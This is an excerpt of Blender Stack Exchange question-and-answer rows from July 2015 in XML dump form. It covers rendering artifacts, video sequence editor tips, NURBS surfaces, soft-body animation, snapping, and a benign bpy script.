  <row Id="33795" PostTypeId="1" CreationDate="2015-07-11T08:55:11.487" Score="0" ViewCount="1096" Body="&lt;p&gt;Why am I getting a black spot in the cylinder. The scene is nothing special consists of few objects with no materials except for the cylinder, and lighting comes from the environment map.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/TXmeI.jpg&quot; alt=&quot;Weird Black reflection&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;The cylinder is smooth shaded and simply using a glossy material with the default settings.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/RbRCC.png&quot; alt=&quot;Glossy BSDF settings I have used&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;Could this possibly have to do with render settings. I have tried re-adding the cylinder and creating a new glossy material but with the same results.&lt;/p&gt;&#xA;" OwnerUserId="15093" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2015-07-11T09:55:46.477" Title="Weird Black Spot with Glossy Material" Tags="&lt;cycles-render-engine&gt;&lt;rendering&gt;" AnswerCount="1" CommentCount="1" ClosedDate="2015-07-11T18:14:35.947" ContentLicense="CC BY-SA 3.0" />
  <row Id="33796" PostTypeId="2" ParentId="32250" CreationDate="2015-07-11T08:56:05.877" Score="1" Body="&lt;p&gt;I'd do it this way, it gives you separate control over the 0..1 range between U and V, by using two Vector interpolation nodes&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Pwooh.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/334/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=334&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="47" LastEditorUserId="-1" LastEditDate="2017-03-14T09:17:19.773" LastActivityDate="2015-07-11T08:56:05.877" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33797" PostTypeId="2" ParentId="33795" CreationDate="2015-07-11T09:55:46.477" Score="0" Body="&lt;p&gt;The problem is caused by the smooth shading that you hve applied to the cylinder.&#xA;So you can try just adding a loop cut all the way to one end and then another loopcut all the way to another end.&lt;/p&gt;&#xA;" OwnerUserId="15366" LastActivityDate="2015-07-11T09:55:46.477" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="33798" PostTypeId="1" AcceptedAnswerId="33799" CreationDate="2015-07-11T11:43:56.247" Score="0" ViewCount="568" Body="&lt;p&gt;I need help guys, I kind of need this for a project or something.&#xA;First picture is when I haven't connect everything but when I press &quot; Ctr + J &quot; the result is the next picture. I'm really a noob in blender so what seems to be the problem or are there other ways to connect all the body parts / the clothes?&#xA;The problem is the eyes and the goggles.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/mx3qu.png&quot; alt=&quot;First picture is when I haven&amp;#39;t connect everything but when I press &amp;quot; Ctr + J &amp;quot; the result is the next picture. I&amp;#39;m really a noob in blender so what seems to be the problem or are there other ways to connect all the body parts / the clothes?&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/NNT79.png&quot; alt=&quot;This is the result / Second picture&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2022" LastActivityDate="2015-07-11T11:50:44.980" Title="Connecting body parts or clothes problem" Tags="&lt;mesh&gt;&lt;objects&gt;" AnswerCount="1" CommentCount="2" ClosedDate="2015-07-11T13:23:00.387" ContentLicense="CC BY-SA 3.0" />
  <row Id="33799" PostTypeId="2" ParentId="33798" CreationDate="2015-07-11T11:50:44.980" Score="0" Body="&lt;p&gt;you could parent them. I would add an empty and place it in the center of the object. Then select all the parts of the object and clothes, select the empty last. Then ctrl + P --&gt; object. If you select the empty and move it, the rest will follow.&lt;/p&gt;&#xA;" OwnerUserId="8094" LastActivityDate="2015-07-11T11:50:44.980" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="33800" PostTypeId="1" CreationDate="2015-07-11T12:24:31.380" Score="4" ViewCount="2202" Body="&lt;h2&gt;The Issue&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Is there any way to speed up the preview of image strips in the video sequence editor? Unfortunately, the preview in the VSE is very choppy and indicates that it runs at only a few frames per second. Even worse, the preview starts to lag compared to the music strip (although “AV-sync” is turned on) which makes it very difficult to cut on beats.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;What I’ve tried&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;At first I thought the slowness would be due to transform effects on the images; I have many images on which I’m applying a &lt;a href=&quot;https://en.wikipedia.org/wiki/Ken_Burns_effect&quot; rel=&quot;nofollow&quot;&gt;Ken Burns Effect&lt;/a&gt;. But it’s also slow on plain image strips (with no effects on them).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have already tried to add proxies to the image strips but that didn’t have any noticeable effect.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Reducing the image resolution might be an option, however, I need the additional pixels for the mentioned zoom effects.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Some more Background&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;My images are not unusually big, I’d say: just 1–3 MB each with about 7–10 megapixels.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I’ve tested this on both Blender 2.74 and on the latest 2.75a version – each running on Ubuntu 14.04 64bit with 8 GB of RAM. I have an older ATI video card, so I can’t use video acceleration.&lt;/p&gt;&#xA;" OwnerUserId="4841" LastActivityDate="2019-02-22T00:26:56.633" Title="VSE: How to Speed up the Preview of Image Strips?" Tags="&lt;image&gt;&lt;video-sequence-editor&gt;&lt;performance&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="33801" PostTypeId="1" AcceptedAnswerId="33804" CreationDate="2015-07-11T14:06:21.607" Score="3" ViewCount="239" Body="&lt;p&gt;I followed several tutorial to create a nurbs curve, and duplicate it in edit mode. Of course I pressed &lt;kbd&gt;A&lt;/kbd&gt; key to select all points and &lt;kbd&gt;F&lt;/kbd&gt; key to create surface. But there was no surface be created, a start point of one curve and an end point of another point were connected instead. &#xA;&lt;img src=&quot;https://i.stack.imgur.com/9Gaue.png&quot; alt=&quot;Ready to press F key&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/fFrj0.png&quot; alt=&quot;Final result after pressing F key&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there anybody get any idea about this case?&lt;/p&gt;&#xA;" OwnerUserId="15575" LastEditorUserId="2217" LastEditDate="2015-07-11T15:02:50.433" LastActivityDate="2015-07-11T15:10:19.127" Title="Surface cannot be created with nurbs curves by pressing F key" Tags="&lt;editing&gt;&lt;nurbs-surface&gt;" AnswerCount="1" CommentCount="0" ClosedDate="2015-07-11T18:15:11.450" ContentLicense="CC BY-SA 3.0" />
  <row Id="33802" PostTypeId="1" CreationDate="2015-07-11T14:14:10.470" Score="0" ViewCount="854" Body="&lt;p&gt;Yesterday I installed Blender 2.75 on my Lenovo X230 with Intel graphics HD 4000.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since the beginning I have been unable to select vertices in edit mode by clicking. Also the loop cut doesn't work at all (Ctrl+R, there is no purple outline and nothing happens after clicking).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've got a friend who has some tens of hours spent in blender and he is also unable to do that on my pc. On his, however, it works like charm...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also had some trouble with glitches in the gui, but it got solved by setting window draw method to triple buffering - indicating that intel HD drivers might be an issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I read about updating my drivers and that's what I did but was only able to update Intel hd graphics to version 9.18.10.3359 from 15.11.2013. Then, even if trying to update manually, my Windows 7 professional says it's up to date.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any idea how to solve this?&lt;/p&gt;&#xA;" OwnerUserId="15574" LastEditorUserId="3401" LastEditDate="2015-07-12T04:00:27.260" LastActivityDate="2016-03-08T08:45:58.913" Title="Can't select vertices + Loop cut doesn't work" Tags="&lt;vertices&gt;&lt;drivers&gt;" AnswerCount="1" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="33803" PostTypeId="1" AcceptedAnswerId="33808" CreationDate="2015-07-11T14:55:04.440" Score="9" ViewCount="3917" Body="&lt;p&gt;Can Blender take two video files and overlay them with transparency?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Essentially I want to have a video sequence playing while a 2nd sequence is overlayed and also playing, but that 2nd sequence is transparent (think alpha transparency) in order to see both both sequences.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This might have the effect of the classic film ghost to it, where you can see through the 'ghost' to the sequence it has been overlayed on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this possible in Blender?&lt;/p&gt;&#xA;" OwnerUserId="15576" LastEditorUserId="2217" LastEditDate="2015-07-11T15:14:55.750" LastActivityDate="2015-07-11T19:19:46.213" Title="Can Blender take two video files and overlay them with transparency?" Tags="&lt;video-sequence-editor&gt;&lt;transparency&gt;&lt;video&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33804" PostTypeId="2" ParentId="33801" CreationDate="2015-07-11T15:10:19.127" Score="3" Body="&lt;p&gt;You simply need to use one of the Nurbs Surface types. &lt;em&gt;Add&lt;/em&gt; &gt; &lt;strong&gt;&lt;em&gt;Surface&lt;/em&gt;&lt;/strong&gt; &gt; &lt;em&gt;Nurbs Curve&lt;/em&gt;&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/xY5Wg.png&quot; alt=&quot;add menu&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A &lt;strong&gt;Curve&lt;/strong&gt;, whether a nurbs or bezier is only a stroke. It can not have volume, it is only ever a line.&lt;br&gt;&#xA;A &lt;strong&gt;Surface&lt;/strong&gt; is a full 3D solid that can have volume. All the expected commands will work: Fill &lt;kbd&gt;F&lt;/kbd&gt;, Extrude &lt;kbd&gt;E&lt;/kbd&gt; etc.  &lt;/p&gt;&#xA;" OwnerUserId="2217" LastActivityDate="2015-07-11T15:10:19.127" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33805" PostTypeId="1" AcceptedAnswerId="82425" CreationDate="2015-07-11T15:51:39.730" Score="6" ViewCount="4200" Body="&lt;p&gt;I want to animate a softbody in a way that it moves along a NURBS curve path. The Problem, which occurred as I gave it a try is that the simulation doesn't take into account the moving along the NURBS curve. The mesh simply falls down along the Z-axis.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So my question is how can you move a soft-body along a predefined path in a way that the movement is considered by the soft-body simulation?&lt;/p&gt;&#xA;" OwnerUserId="15577" LastEditorUserId="29301" LastEditDate="2018-10-09T18:08:53.300" LastActivityDate="2018-10-09T18:08:53.300" Title="How to move / animate a soft body?" Tags="&lt;animation&gt;&lt;bezier-curves&gt;&lt;physics&gt;&lt;soft-body&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="33806" PostTypeId="2" ParentId="33754" CreationDate="2015-07-11T16:59:28.727" Score="1" Body="&lt;p&gt;I made a simple example in the game engine of a mouse controlled inverted pendulum. It answers only your question about the hinge, but maybe you can go from there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The body block has a rigid body constraint, type hinge, target is the pole. The weight at the top is parented to the pole.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm sure it's not physically correct, but I had to change translation and rotation damping in the physics properties of the pole to have a chance at controlling the pendulum. I also reduced the mass of the pole.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you'd like to have a look, here's the blend file:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/335/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=335&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="15550" LastEditorUserId="-1" LastEditDate="2017-03-14T09:23:48.777" LastActivityDate="2015-07-11T16:59:28.727" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="33808" PostTypeId="2" ParentId="33803" CreationDate="2015-07-11T17:22:44.923" Score="8" Body="&lt;p&gt;Yes, this is possible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To overlay a video, simply layer one on top of the other in the VSE timeline.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/3coIz.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To make the top one transparent, simply use the opacity slider in the properties panel. 0 is for fully transparency, and 1 is for full opacity.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/nYL8O.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="8262" LastEditorUserId="8262" LastEditDate="2015-07-11T19:19:46.213" LastActivityDate="2015-07-11T19:19:46.213" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="33810" PostTypeId="1" CreationDate="2015-07-11T17:53:38.713" Score="8" ViewCount="5087" Body="&lt;p&gt;I am a precision modeler, which means I like to be exact instead of &quot;eyeballing&quot; things when I model. I am very happy to see the option to Edge Slide with Clamping Off in v2.75a, but I don't seem to be able to snap the edge slide destination to a vertex point elsewhere on the model. Is this possible and I am just missing something?&lt;/p&gt;&#xA;" OwnerUserId="9504" LastActivityDate="2019-12-04T12:54:09.657" Title="Is there anyway to snap to vertices while using Edge Slide with Clamp Off?" Tags="&lt;vertices&gt;&lt;edges&gt;&lt;snapping&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="33811" PostTypeId="2" ParentId="33805" CreationDate="2015-07-11T18:00:16.620" Score="2" Body="&lt;p&gt;A test scene where a sphere has a follow path constaint:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/pFPjz.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The sphere also has enabled softbody physics simulation works fine:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/BNcUo.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Wheh you object is falling down then it is probably due to gravity, either lower the gravity slider or check that you don't have also added rigid body.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/336/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=336&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="29" LastEditorUserId="-1" LastEditDate="2017-03-14T09:17:19.773" LastActivityDate="2015-07-11T18:00:16.620" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33812" PostTypeId="1" CreationDate="2015-07-11T18:06:19.487" Score="3" ViewCount="1513" Body="&lt;p&gt;I'm going to go ahead and do it manually, but before I do I would like to know if there is a better way&lt;/p&gt;&#xA;" OwnerUserId="3109" LastActivityDate="2015-07-14T12:36:11.190" Title="Is there a way to increase wall thickness after applying solidify?" Tags="&lt;modeling&gt;" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="33814" PostTypeId="2" ParentId="33800" CreationDate="2015-07-11T18:13:22.383" Score="2" Body="&lt;p&gt;You could increase the memory cache (1GB by default) to your available physical memory and increase the number of prefetch frames.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is done in Menu: File / User Preferences in the System-tab. &lt;kbd&gt;Ctrl&lt;/kbd&gt;-&lt;kbd&gt;Alt&lt;/kbd&gt;-&lt;kbd&gt;U&lt;/kbd&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ruQ7d.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="29" LastActivityDate="2015-07-11T18:13:22.383" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="33817" PostTypeId="2" ParentId="21531" CreationDate="2015-07-11T19:19:00.497" Score="5" Body="&lt;p&gt;I implemented a minimum bounding box algorithm as an addon that simply attempts to fit a box from many different directions.  It is not exact, however it is robust :-)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/patmo141/object_bounding_box&quot; rel=&quot;noreferrer&quot;&gt;https://github.com/patmo141/object_bounding_box&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/5Vund.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2772" LastActivityDate="2015-07-11T19:19:00.497" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33818" PostTypeId="1" CreationDate="2015-07-11T21:38:57.083" Score="0" ViewCount="64" Body="&lt;p&gt;I have a problem here with textures. All the models you see are textured, except for the roof and floor. Those look grey, and when I textures them, they show only the main color of the texture instead of the detail in the textures. For example when I try to apply a red bricks texture, it takes the basic colour, red, but doesn't show the white color in the mortar lines between the bricks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is how it appears in the world in Unity3D, after putting the texture:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Oqc7q.png&quot; alt=&quot;how it looks in unity3d world&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is how it appears Blender&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/SfHJt.png&quot; alt=&quot;how it looks in blender&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="15567" LastEditorUserId="3401" LastEditDate="2015-07-12T04:13:27.940" LastActivityDate="2015-07-12T04:13:27.940" Title="Texturing problem" Tags="&lt;rendering&gt;&lt;texturing&gt;&lt;uv&gt;" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="33819" PostTypeId="1" CreationDate="2015-07-11T22:13:37.523" Score="1" ViewCount="521" Body="&lt;p&gt;I was trying to save history of changes to Python script by using &lt;code&gt;Info&lt;/code&gt; Editor type. Here is my example script:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.ops.mesh.primitive_plane_add(radius=1, view_align=False, enter_editmode=False, location=(0, 0, 0), layers=(True, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False))&#xA;bpy.ops.transform.resize(value=(-7.70136, -7.70136, -7.70136), constraint_axis=(False, False, False), constraint_orientation='GLOBAL', mirror=False, proportional='DISABLED', proportional_edit_falloff='SMOOTH', proportional_size=1)&#xA;bpy.context.space_data.context = 'PHYSICS'&#xA;bpy.ops.rigidbody.object_add()&#xA;bpy.context.object.rigid_body.type = 'PASSIVE'&#xA;bpy.ops.rigidbody.object_add()&#xA;bpy.context.space_data.context = 'OBJECT'&#xA;bpy.context.space_data.context = 'PHYSICS'&#xA;bpy.context.object.rigid_body.collision_shape = 'BOX'&#xA;bpy.context.space_data.context = 'OBJECT'&#xA;bpy.context.space_data.context = 'WORLD'&#xA;bpy.context.space_data.context = 'OBJECT'&#xA;bpy.context.object.scale[0] = 2&#xA;bpy.context.object.scale[1] = 1&#xA;bpy.context.object.scale[2] = 0.5&#xA;bpy.context.object.scale[1] = 0.7&#xA;bpy.context.object.location[2] = 0.5&#xA;bpy.context.object.scale[2] = 0.3&#xA;bpy.context.object.location[2] = 0.3&#xA;bpy.context.object.scale[0] = 3&#xA;bpy.context.object.location[1] = 1.5&#xA;bpy.ops.object.duplicate_move(OBJECT_OT_duplicate={&quot;linked&quot;:False, &quot;mode&quot;:'TRANSLATION'}, TRANSFORM_OT_translate={&quot;value&quot;:(0, 0, 0), &quot;constraint_axis&quot;:(False, False, False), &quot;constraint_orientation&quot;:'GLOBAL', &quot;mirror&quot;:False, &quot;proportional&quot;:'DISABLED', &quot;proportional_edit_falloff&quot;:'SMOOTH', &quot;proportional_size&quot;:1, &quot;snap&quot;:False, &quot;snap_target&quot;:'CLOSEST', &quot;snap_point&quot;:(0, 0, 0), &quot;snap_align&quot;:False, &quot;snap_normal&quot;:(0, 0, 0), &quot;gpencil_strokes&quot;:False, &quot;texture_space&quot;:False, &quot;remove_on_cancel&quot;:False, &quot;release_confirm&quot;:False})&#xA;bpy.context.object.location[1] = -1.5&#xA;bpy.context.area.type = 'INFO'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;History of changes: I made, manually (in 3d editor) two physical blocks lying on plane.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/MINdw.png&quot; alt=&quot;Space 1&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now I want to get same effect by pasting saved script into python console - but I got this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/jAjT8.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Apparently the interpreter took and resized planes to shape of blocks, but it couldn't hold idea of 'BOX' object. What do I do wrong?&lt;/p&gt;&#xA;" OwnerUserId="15549" LastEditorUserId="8262" LastEditDate="2015-07-11T22:18:04.427" LastActivityDate="2015-07-12T03:07:28.490" Title="Save history to python and load from python console" Tags="&lt;python&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="33820" PostTypeId="1" CreationDate="2015-07-11T23:45:49.260" Score="0" ViewCount="349" Body="&lt;p&gt;When going to render my scene, I have my samples set to 60 (A test render) and shadow layers with alpha set up. When I start to render the animation, it begins to render at 510 samples and the alpha layers don't work. Any ideas as to what might be going wrong?&lt;/p&gt;&#xA;" OwnerUserId="13042" LastEditorUserId="599" LastEditDate="2015-07-11T23:49:23.577" LastActivityDate="2015-07-11T23:49:23.577" Title="Cycles render using incorrect sample amount" Tags="&lt;cycles-render-engine&gt;&lt;rendering&gt;" AnswerCount="0" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="33821" PostTypeId="1" CreationDate="2015-07-12T01:58:18.023" Score="2" ViewCount="86" Body="&lt;p&gt;I'm new to Blender and am soo excited to learn.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've noticed that I can't do any navigating of the 3D view (orbiting, zooming, moving) while I'm in a modal operator. But, these are the times that I most want to change my view around, because I want to see from many perspectives what my operation is doing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I navigate while in a modal operator? E.g., I want to orbit while in Translate (G) mode.&lt;/p&gt;&#xA;" OwnerUserId="15400" LastActivityDate="2015-07-12T01:58:18.023" Title="How to orbit while translating (and otherwise navigate while using modal operators)?" Tags="&lt;3d-view&gt;" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="33822" PostTypeId="2" ParentId="33810" CreationDate="2015-07-12T02:37:23.077" Score="4" Body="&lt;p&gt;Edge slide has always had an issue with snapping. There is a slow workaround that suggests that this could be improved.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With the edge selected that you plan to slide along, create a &lt;a href=&quot;https://docs.blender.org/manual/en/dev/editors/3dview/object/editing/transform/control/orientations.html#custom-orientations&quot; rel=&quot;nofollow noreferrer&quot;&gt;custom transform&lt;/a&gt; and enable it, then move the vertex &lt;kbd&gt;G&lt;/kbd&gt; and lock to the local axis that follows the edge (should be Y) by double tapping the axis &lt;kbd&gt;Y&lt;/kbd&gt;&lt;kbd&gt;Y&lt;/kbd&gt;. While transforming along this custom axis snapping can be utilised.&lt;/p&gt;&#xA;" OwnerUserId="935" LastEditorUserId="1245" LastEditDate="2017-12-16T19:56:41.460" LastActivityDate="2017-12-16T19:56:41.460" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33824" PostTypeId="2" ParentId="33819" CreationDate="2015-07-12T03:07:28.490" Score="3" Body="&lt;p&gt;While the info window is helpful it does not show a complete list of actions taken, the steps it does show &lt;a href=&quot;https://blender.stackexchange.com/a/18059/935&quot;&gt;can be expanded&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While copy and pasting an operator is an easy way to duplicate some steps in a python script, it is usually preferred to directly alter the data in a python script rather than just calling operators. You can find the reference to &lt;a href=&quot;http://www.blender.org/documentation/250PythonDoc/&quot; rel=&quot;nofollow noreferrer&quot;&gt;blender's python api online&lt;/a&gt; which also has some introduction tutorials to get you started.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For an example of creating a mesh object you could have a look at the &lt;a href=&quot;https://developer.blender.org/diffusion/B/browse/master/release/scripts/templates_py/addon_add_object.py&quot; rel=&quot;nofollow noreferrer&quot;&gt;add object addon template&lt;/a&gt; that is included with blender.&lt;/p&gt;&#xA;" OwnerUserId="935" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:43.087" LastActivityDate="2015-07-12T03:07:28.490" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33825" PostTypeId="1" CreationDate="2015-07-12T03:37:58.860" Score="1" ViewCount="1071" Body="&lt;p&gt;I am using the video editing function of Blender to make a image pan &amp;amp; zoom clip (aka Ken Burns). The image is a chart I made in Photoshop and I want to zoom into an exact point on the chart and a exact zoom level.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the effects strip controls, there are places to adjust the scale as well as the position, but I can't figure out how the values in these boxes translate to real-world values (in my case I want to go to exactly 300%, centered on the 508x291 pixel spot on the image).&lt;/p&gt;&#xA;" OwnerUserId="15587" LastEditorDisplayName="user1853" LastEditDate="2015-08-13T03:22:15.597" LastActivityDate="2015-09-14T08:47:44.193" Title="Transform Effects Strip Real Values" Tags="&lt;transforms&gt;&lt;video-sequence-editor&gt;&lt;effects&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33827" PostTypeId="2" ParentId="33802" CreationDate="2015-07-12T03:51:37.310" Score="2" Body="&lt;p&gt;Lazy_traveller, you omitted a crucial bit of information when you asked your question. That crucial bit is the word, &quot;notebook&quot;, which you didn't mention until your reply to Hexbob6. There are settings in the user preferences to make use of a laptop possible, but personally, I don't find them very satisfactory. Based upon my own experience, I would most emphatically suggest getting an external full sized keyboard&amp;mdash;the kind with a separate numeric keypad&amp;mdash;and a 3 button mouse. You should be able to get both for about USD 25.00 (or up, if you're so inclined) in the US. I have both a USB keyboard, and a USB mouse, but I don't know of any reason, if you wanted, that you could not use a bluetooth keyboard or mouse. It works like a charm. If your keyboard and mouse come with separate drivers, I would be sure to make sure they are the latest versons.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;As to CTRL-R on your computer not activating loop-cut in Blender, I suspect (don't know for certain, as I don't have a Lenovo Laptop) that the culprit here is that on your laptop, the key combination CTRL-R is being used to control some aspect of the hardware, so the keystroke is being filtered out, and never sent on to Blender. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you really want to (or must, for whatever reasons) use your notebook with Blender, do a Google search for &quot;using Blender on a laptop&quot;, find the most recent tutorial, and adjust the user preferences as indicated in the tutorial. It is even possible to bind loop-cuts to a different key combination than &lt;kbd&gt;CTRL&lt;/kbd&gt;-&lt;kbd&gt;R&lt;/kbd&gt;, if necessary.&lt;/p&gt;&#xA;" OwnerUserId="3401" LastEditorUserId="3401" LastEditDate="2015-07-12T04:03:32.627" LastActivityDate="2015-07-12T04:03:32.627" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33828" PostTypeId="2" ParentId="33825" CreationDate="2015-07-12T04:07:44.237" Score="0" Body="&lt;p&gt;In the sidebar for the Transform Effects strip you'll see 2 fields for Scale X and Y. The default value is 1.0 which equates to 100% scale of the clip to be transformed. Animating the XY scale values up to 3.0 should give you the 300% scale effect.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For the position values, the XY values are also percentage, but this time 50 = 50% and 100=100%. To animate the position to the exact spot on the screen, I think you'll have to use the trial and error method and eyeball it to get something that works how you want.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/rbIJI.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="894" LastEditorUserId="894" LastEditDate="2015-07-12T04:14:53.953" LastActivityDate="2015-07-12T04:14:53.953" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="33829" PostTypeId="1" AcceptedAnswerId="33908" CreationDate="2015-07-12T04:25:58.260" Score="4" ViewCount="1093" Body="&lt;p&gt;I want to run a python script, once at the start of a game in the BGE. I tried various sensors, but they all sent more then one pulse/contentious stream. I only wan't to run my script once, right at the beginning, and then be done with it for good. How can I do this?&lt;/p&gt;&#xA;" OwnerUserId="3127" LastActivityDate="2015-07-15T08:14:28.557" Title="BGE: Send single pulse at start of game?" Tags="&lt;python&gt;&lt;game-engine&gt;&lt;logic-bricks&gt;" AnswerCount="4" CommentCount="2" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
